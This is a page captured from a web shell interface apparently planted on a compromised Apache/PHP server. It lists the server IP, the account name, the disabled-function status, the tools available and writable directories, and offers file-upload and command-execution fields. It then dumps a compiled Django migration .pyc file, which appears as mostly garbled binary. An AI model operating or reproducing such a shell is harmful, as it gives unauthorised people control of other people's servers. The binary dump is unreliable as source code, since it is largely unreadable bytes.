403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/django/db/migrations/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/django/db/migrations/__pycache__/migration.cpython-311.pyc
�

�|�e�#��r�ddlmZddlmZddlmZddlmZGd�d��ZGd�d	e	��Z
d
�ZdS)�)�
operations)�get_migration_name_timestamp)�atomic�)�IrreversibleErrorc�f�eZdZdZgZgZgZgZdZdZ	d�Z
d�Zd�Zd�Z
d�Zdd	�Zdd�Zdd�Zd
�ZdS)�	Migrationa�
    The base class for all migrations.

    Migration files will import this from django.db.migrations.Migration
    and subclass it as a class called Migration. It will have one or more
    of the following attributes:

     - operations: A list of Operation instances, probably from django.db.migrations.operations
     - dependencies: A list of tuples of (app_path, migration_name)
     - run_before: A list of tuples of (app_path, migration_name)
     - replaces: A list of migration_names

    Note that all migrations come out of migrations and into the Loader or
    Graph as instances, having been initialized with their app label and name.
    NTc��||_||_t|jj��|_t|jj��|_t|jj��|_t|jj��|_dS�N)�name�	app_label�list�	__class__r�dependencies�
run_before�replaces)�selfrr
s   �@/usr/lib/python3/dist-packages/django/db/migrations/migration.py�__init__zMigration.__init__5se����	�"����t�~�8�9�9��� ���!<�=�=����t�~�8�9�9����T�^�4�5�5��
�
�
�c�l�t|t��o|j|jko|j|jkSr)�
isinstancer	rr
)r�others  r�__eq__zMigration.__eq__>s6���u�i�(�(�
.��I���#�
.��N�e�o�-�	
rc�(�d|j�d|j�d�S)Nz<Migration �.�>�r
r�rs r�__repr__zMigration.__repr__Es���&*�n�n�n�d�i�i�i�@�@rc�$�|j�d|j��S�Nrrrs r�__str__zMigration.__str__Hs���.�.�.�$�)�)�4�4rc�>�t|j�d|j����Sr")�hashr
rrs r�__hash__zMigration.__hash__Ks���t�~�~�~�t�y�y�9�:�:�:rc��|}|r|���}|jD]}|�|j|���|S)z�
        Take a ProjectState and return a new one with the migration's
        operations applied to it. Preserve the original object state by
        default and return a mutated state from a copy.
        )�cloner�state_forwardsr
)r�
project_state�preserve�	new_state�	operations     r�mutate_statezMigration.mutate_stateNsV��"�	��	.�%�+�+�-�-�I���	@�	@�I��$�$�T�^�Y�?�?�?�?��rFc��|jD�]M}|r�|j�d��|js|j�d��|j�d|���z��|j�d��|js��|���}|�|j|��|jp|jo|jdu}|j	sR|rPt|j
j��5|�|j|||��ddd��n#1swxYwY��0|�|j|||����O|S)a
        Take a project_state representing all migrations prior to this one
        and a schema_editor for a live database and apply the migration
        in a forwards order.

        Return the resulting project state for efficient reuse by following
        Migrations.
        �--�B-- MIGRATION NOW PERFORMS OPERATION THAT CANNOT BE WRITTEN AS SQL:�-- %sFN)
r�
collected_sql�append�reduces_to_sql�describer(r)r
r�atomic_migration�
connection�alias�database_forwards)rr*�
schema_editor�collect_sqlr-�	old_state�atomic_operations       r�applyzMigration.apply\s�����	e�	e�I��	
��+�2�2�4�8�8�8� �/��!�/�6�6�\�����+�2�2�7�Y�=O�=O�=Q�=Q�3Q�R�R�R��+�2�2�4�8�8�8� �/���%�+�+�-�-�I��$�$�T�^�]�C�C�C�(�/�b�D�K�4a�I�DT�\a�Da�� �1�
e�6F�
e��M�4�:�;�;�i�i��/�/���
�y�Zg�h�h�h�i�i�i�i�i�i�i�i�i�i�i����i�i�i�i���+�+�D�N�M�9�Vc�d�d�d�d��s�D+�+D/	�2D/	c�`�g}|}|jD]{}|jstd|�d|�d����|���}|���}|�|j|��|�d|||f���||D�]"\}}}	|r�|j�d��|j	s|j�d��|j�d|�
��z��|j�d��|j	s��|jp|jo|jdu}
|jsR|
rPt|j
j��5|�|j||	|��d	d	d	��n#1swxYwY��|�|j||	|����$|S)
a�
        Take a project_state representing all migrations prior to this one
        and a schema_editor for a live database and apply the migration
        in a reverse order.

        The backwards migration process consists of two phases:

        1. The intermediate states from right before the first until right
           after the last operation inside this migration are preserved.
        2. The operations are applied in reverse order using the states
           recorded in step 1.
        z
Operation z in z is not reversiblerr0r1r2FN)r�
reversiblerr(r)r
�insertr3r4r5r6rr7r8r9�database_backwards)rr*r;r<�to_runr,r-r=�to_state�
from_stater>s           r�unapplyzMigration.unapply�sN����!�	���		@�		@�I��'�
d�'�'�R[�R[�R[�]a�]a�]a�(b�c�c�c�"���)�)�I�!���)�)�I��$�$�T�^�Y�?�?�?��M�M�!�i��I�>�?�?�?�?�06�	b�	b�+�I�x���	
��+�2�2�4�8�8�8� �/��!�/�6�6�\�����+�2�2�7�Y�=O�=O�=Q�=Q�3Q�R�R�R��+�2�2�4�8�8�8� �/���(�/�b�D�K�4a�I�DT�\a�Da�� �1�
b�6F�
b��M�4�:�;�;�f�f��0�0����PZ�\d�e�e�e�f�f�f�f�f�f�f�f�f�f�f����f�f�f�f���,�,�T�^�]�J�X`�a�a�a�a��s�F�F	�	F	c�f�d}t|j��dkr|jdj}ngt|j��dkrOtd�|jD����r1d�td�|jD������}|�|jrdndt��z}|S)	z�
        Suggest a name for the operations this migration might represent. Names
        are not guaranteed to be unique, but put some effort into the fallback
        name to avoid VCS conflicts if possible.
        Nrrc3�JK�|]}t|tj��V��dSr)rr�CreateModel��.0�os  r�	<genexpr>z)Migration.suggest_name.<locals>.<genexpr>�s/����O�O�!�
�1�j�4�5�5�O�O�O�O�O�Or�_c3�$K�|]}|jV��dSr)�migration_name_fragmentrKs  rrNz)Migration.suggest_name.<locals>.<genexpr>�s%����"V�"V��1�#<�"V�"V�"V�"V�"V�"Vr�initialzauto_%s)�lenrrQ�all�join�sortedrRr)rrs  r�suggest_namezMigration.suggest_name�s������t����1�$�$��?�1�%�=�D�D���� � �1�$�$��O�O�t��O�O�O�O�O�
%��8�8�F�"V�"V�d�o�"V�"V�"V�V�V�W�W�D��<� $��\�9�9�)�>Z�>\�>\�2\�D��r)T)F)�__name__�
__module__�__qualname__�__doc__rrrrrRrrrr r#r&r.r?rGrW�rrr	r	s���������"�J��L�
�J�
�H��G��F�6�6�6�
�
�
�A�A�A�5�5�5�;�;�;�����#�#�#�#�J1�1�1�1�f����rr	c��eZdZdZd�ZdS)�SwappableTuplez
    Subclass of tuple so Django can tell this was originally a swappable
    dependency when it reads the migration file.
    c�J�t�||��}||_|Sr)�tuple�__new__�setting)�cls�valuerbrs    rrazSwappableTuple.__new__�s!���}�}�S�%�(�(������rN)rXrYrZr[rar\rrr^r^�s-��������
����rr^c�Z�t|�dd��ddf|��S)z'Turn a setting value into a dependency.rrr�	__first__)r^�split)rds r�swappable_dependencyrh�s*���5�;�;�s�A�.�.�q�1�;�?��G�G�GrN)�django.db.migrationsr�django.db.migrations.utilsr�django.db.transactionr�
exceptionsrr	r`r^rhr\rr�<module>rms���+�+�+�+�+�+�C�C�C�C�C�C�(�(�(�(�(�(�)�)�)�)�)�)�|�|�|�|�|�|�|�|�~	�	�	�	�	�U�	�	�	�H�H�H�H�Hr

Youez - 2016 - github.com/yon3zu
LinuXploit